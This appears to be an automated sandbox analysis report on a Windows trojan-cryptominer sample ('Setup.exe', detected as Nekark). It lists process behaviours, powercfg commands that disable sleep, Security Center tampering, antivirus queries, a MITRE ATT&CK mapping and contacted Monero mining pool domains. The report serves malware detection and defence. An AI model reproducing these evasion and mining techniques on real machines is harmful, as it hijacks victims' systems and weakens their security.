Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 41_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

41_2_0000000140001B54

Source: C:\Windows\System32\dasHost.exe

Code function: 131_2_0000028092387960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

131_2_0000028092387960

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Modifies power options to not sleep / hibernate

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Source: svchost.exe, 0000000E.00000002.2581385774.0000023A06502000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000E.00000002.2581385774.0000023A06502000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000070.00000003.1940878318.00000177815FB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000070.00000002.2767734207.00000177811EA000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000070.00000002.2708670395.000001778094D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000070.00000002.2691821114.00000177808D7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000070.00000002.2654194377.000001778081B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000070.00000002.2810112985.00000177815F9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	41 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	11 Windows Service	1 Access Token Manipulation	1 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Windows Service	1 DLL Side-Loading	Security Account Manager	56 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	713 Process Injection	1 File Deletion	NTDS	381 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	161 Virtualization/Sandbox Evasion	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	713 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	100%	Avira	TR/AD.Nekark.ziece
C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	96%	ReversingLabs	Win64.Trojan.Nekark
C:\Windows\Temp\sidneyeifgjd.sys	5%	ReversingLabs

Source	Detection	Scanner	Label
https://dynamic.t	0%	URL Reputation	safe
https://xmrig.com/docs/algorithms	0%	URL Reputation	safe
https://172.94.1q	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://schemas.microsoft.co	0%	Avira URL Cloud	safe
https://excel.office.comSRD1%	0%	Avira URL Cloud	safe
https://powerpoint.office.comSRD13	0%	Avira URL Cloud	safe
https://outlook.comSRD1-	0%	Avira URL Cloud	safe
https://powerpoint.office.comN	0%	Avira URL Cloud	safe
https://word.office.comSRD1#	0%	Avira URL Cloud	safe
http://ctldl.w	0%	Avira URL Cloud	safe
http://www.bingmapsportal.comc	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
monerooceans.stream	44.196.193.227	true	true		unknown
gulf.moneroocean.stream	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.windows.net/common/oauth2/authorized	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000006.00000003.1370089560.0000022ADE66A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000006.00000003.1370296542.0000022ADE644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.windows.net/common/oauth2/authorizeols	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.office365.com/api/v1.0/me/Activities	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.windows.net/common/oauth2/authorizetos8	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net/common/oauth2/authorizeation	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.com	svchost.exe, 0000006B.00000000.1592264170.00000184E25FB000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000002.2709297650.00000184E25FD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1604978379.00000184E2C40000.00000004.00000001.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2C:	svchost.exe, 00000058.00000000.1524557813.000002AB7F184000.00000004.00000001.00020000.00000000.sdmp	false		high
http://standards.iso.org/iso/19770/-2/2009/schema.xsd	svchost.exe, 0000000C.00000002.2617581393.000001560191C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2549220187.0000015601085000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1371073026.0000022ADE675000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370267523.0000022ADE65D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370421200.0000022ADE668000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370296542.0000022ADE644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370002682.0000022ADE671000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 00000031.00000000.1407435054.000001BA8DA4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2630628617.000001BA8DA4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 00000058.00000000.1524557813.000002AB7F184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000006.00000002.1371017605.0000022ADE647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
https://excel.office.comSRD1%	svchost.exe, 0000006B.00000000.1606710274.00000184E2D4E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.bingmapsportal.comc	svchost.exe, 00000006.00000002.1370890183.0000022ADE613000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns2-ch1p.notify.windows.com/?token=AwYAAAAYHqKf08ZPoZ860Y%2foGt%2fNxdm9wovwzD08hc8iwriUJ1DW	svchost.exe, 00000058.00000000.1519460664.000002AB7DE12000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net/common/oauth2/authorizeger	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comN	svchost.exe, 0000006B.00000000.1599616250.00000184E28CD000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.windows.net/common/oauth2/authorizeoxy2	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 00000031.00000000.1407435054.000001BA8DA4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000031.00000002.2630628617.000001BA8DA4F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.microsoft.co	OfficeClickToRun.exe, 00000074.00000000.1742941039.000001570E118000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370267523.0000022ADE65D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370421200.0000022ADE668000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000006.00000003.1370089560.0000022ADE66A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1370947987.0000022ADE62B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.windows.net/common/oauth2/authorizedty	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod	svchost.exe, 00000058.00000000.1524557813.000002AB7F184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net/common/oauth2/authorizenies	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000006.00000003.1369934811.0000022ADE678000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000006.00000003.1370089560.0000022ADE66A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1370947987.0000022ADE62B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370421200.0000022ADE668000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1370947987.0000022ADE62B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://172.94.1q	dialer.exe, 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://login.windows.net/common/oauth2/authorizeltip	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=	svchost.exe, 00000006.00000003.1370296542.0000022ADE644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1370947987.0000022ADE62B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000002.00000002.1398746540.0000016359062000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370296542.0000022ADE644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
https://powerpoint.office.com	svchost.exe, 0000006B.00000000.1599616250.00000184E28CD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1371055435.0000022ADE65C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdC:	svchost.exe, 00000058.00000000.1524557813.000002AB7F184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dynamic.t	svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370296542.0000022ADE649000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	svchost.exe, 00000002.00000003.1203500301.0000016358DD3000.00000004.00000800.00020000.00000000.sdmp	false		high
